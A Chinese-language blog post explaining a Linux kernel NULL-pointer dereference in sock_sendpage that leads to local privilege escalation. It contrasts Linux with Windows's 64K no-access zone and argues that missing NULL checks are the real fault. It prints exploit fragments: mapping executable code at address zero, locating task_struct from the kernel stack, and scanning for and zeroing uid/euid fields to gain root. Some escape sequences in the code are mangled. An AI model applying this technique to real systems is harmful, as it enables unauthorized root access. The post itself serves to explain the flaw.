NULL指针引起的一个linux内核漏洞

时间:2022-05-12 15:28:00

NULL指针一般都是应用于有效性检测的,其实这里面有一个约定俗成的规则,就是说无效指针并不一定是 NULL,只是为了简单起见,规则约定只要指针无效了就将之设置为NULL,结果就是NULL这个指针被用来检测指针有效性,于是它就不能用作其它了,而实际上NULL就是0,代表了数值编号为0的一个内存地址,抛开那个约定,它和别的addr没有任何区别,简单的说,完全可以选择一个其它的地址作为指针有效性检测,比如0x1234等等,不选其它地址的原因就是第一,NULL比较好记忆,第二,由于NULL就是0,因此很容易进行布尔判断。请看下面的程序:

 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void null_func()
  
{
  
printf("aaaaaaaaaaaaaaaaaaaaaaaaaa/n");
  
}
  
void map_and_call_null()
  
{
  
char *addr = NULL;
  
addr = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
  
addr[0] = '/xff';
  
addr[1] = '/x25';
  
*(unsigned int *)&addr[2] = 6;
  
*(unsigned long *)&addr[6] = (unsigned long)&null_func;
  
void (*aaa)();
  
aaa = NULL; //设置为NULL
  
(*aaa)();
  
}
  
int main(void)
  
{
  
map_and_call_null(NULL);
  
}
 
结果成功打印出了一片a,这就说明NULL是可以作为一个正常的地址来使用的,如此一来就出现了一个漏洞,其实按照理论上讲除非你把NULL地址的内存的访问权限完全封死,要不然这个漏洞就是无法弥补的,只能通过程序员自己来负责了。而完全封死NULL又不符合设计规范,用户空间的进程内存是可以被该进程*访问的,任何机构都没有权力封死一块内存的访问权限,既然不能封死NULL,那么按照规则和编译器的特性内核中的指针在初始化的时候都被初始化成了 NULL,如果后面没有再被赋予正确的值,那么它将一直是NULL,如果此时有一个执行绪没有检查NULL指针直接调用了一个可能是NULL的回调函数,那么只要在NULL地址处映射着的代码都将被执行,而映射什么代码全部是用户进程说了算的。于是乎在内核空间为了安全起见一般都将函数指针初始化为一个 stub函数,然后在该stub中直接返回一个出错码,还有一种初始化方式就是初始化为一个0xc0000000指针,用户空间是无法访问内核空间的,因此就不能往这个地址映射任何东西,内核空间和用户空间完全分治。
 
现在的内核普遍采用了stub函数的初始化方式,但是总是有一些例外,正如漏洞描述上所说的,并不是所有的事情都符合这个约定的,因此就存在有一些函数没有被初始化为stub的,socket的file_operations中的sendpage就是其中之一,它实现如下:
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static ssize_t sock_sendpage(struct file *file,...)
  
{
  
struct socket *sock;
  
int flags;
  
sock = file->private_data;
  
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
  
if (more)
  
flags |= MSG_MORE;
  
return sock->ops->sendpage(sock, page, offset, size, flags);
  
}
 
如果碰上没有初始化sock->ops->sendpage为stub的情况,那么它就是NULL,如果对应的协议族根本没有用到这个回调函数,那么它将一直是NULL,于是乎只需要在用户空间将NULL地址处映射为修改uid或者euid的代码就可以从普通权限跳跃到root权限。但是这个漏洞额度利用并不像内核自杀式漏洞的利用那么简单。
 
由于代码是在用户空间注入的,所以就不能直接用内核空间的current宏了,必须通过内核栈来间接的得到当前进程的task_struct指针,其实内核空间的current宏也是这么实现的,只不过在用户空间编译程序之前是不能动态使用内核数据结构的,那么当用户空间代码注入到内核以后(其实没有注入内核,而是引导内核空间的执行绪调用用户空间的代码而已),自己按照current的实现方式再实现一个好了,这对内核爱好者应该不难:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static inline unsigned long get_current_4k(void)
  
{
  
unsigned long current = 0;
  
asm volatile (
  
" movl %%esp, %0;"
  
: "=r" (current)
  
);
  
current = *(unsigned long *)(current & 0xfffff000);
  
if (current < 0xc0000000 || current > 0xfffff000)
  
return 0;
  
return current;
  
}
 
 
找到了当前进程的task_struct,那么接下来就是找到其uid/euid字段并且更改之,如何找到这些字段又是一个难题,因为在用户空间并不知道该运行的内核的task_struct是怎么实现的,因此只能通过特征来猜测了,我们现在知道的信息是当前进程的uid,euid以及uid,euid等字段在task_struct中的相对位置,就是说虽然不知道uid的绝对偏移,但是知道euid和uid的相对偏移信息,如此一来就可以一个一个字节的搜索了,代码如下:
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
repeat:
  
current = (unsigned int *)orig_current;(由get_current_4k()得到)
  
while (((unsigned long)current < (orig_current + 0x1000 - 17 )) &&
  
(current[0] != our_uid || current[1] != our_uid ||
  
current[2] != our_uid || current[3] != our_uid))
  
current++;
  
if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {
  
if (orig_current == orig_current_4k) {
  
orig_current = get_current_8k();
  
goto repeat;
  
}
  
return;
  
}
  
got_root = 1;
  
memset(current, 0, sizeof(unsigned int) * 8); //最终修改task_struct的uid信息
 
如此用NULL指针漏洞就可以从普通用户权限提升到root用户权限,但是这一招在windows上能否行得通呢?我们来做一个实验:
 
1
2
3
4
5
6
7
unsigned long addr = XXX;//随便一个0到64k的地址都可以,不妨设置为NULL
  
char * p = (char *) VirtualAlloc((LPVOID)addr,0x1000,MEM_COMMIT,PAGE_READONLY);
  
DWORD dwRequest;
  
BOOL b = VirtualProtect(p,0x1000,PAGE_READWRITE,&dwRequest);
经过上述的实验,发现两个函数都失败了,为什么呢?其实在windows中明确规定了一个64k大小的用户禁入区,也就是这个区域内的内存是不能访问的,这就避免了linux中的上述的漏洞问题,但是为何linux不这么做呢?呵呵,linux不将NULL封死就是因为机制和策略相分离的原则,操作系统内核给与用户空间最大的*,不规定内存怎么映射,随便怎么映射都可以。如果非要说linux的NULL指针没有封死是个潜在的漏洞,那也只能说该漏洞是内核路径没有严格验证指针是否为NULL导致的而不是NULL本身导致的,需要做的不是封死NULL,而是在有漏洞的地方加上NULL判断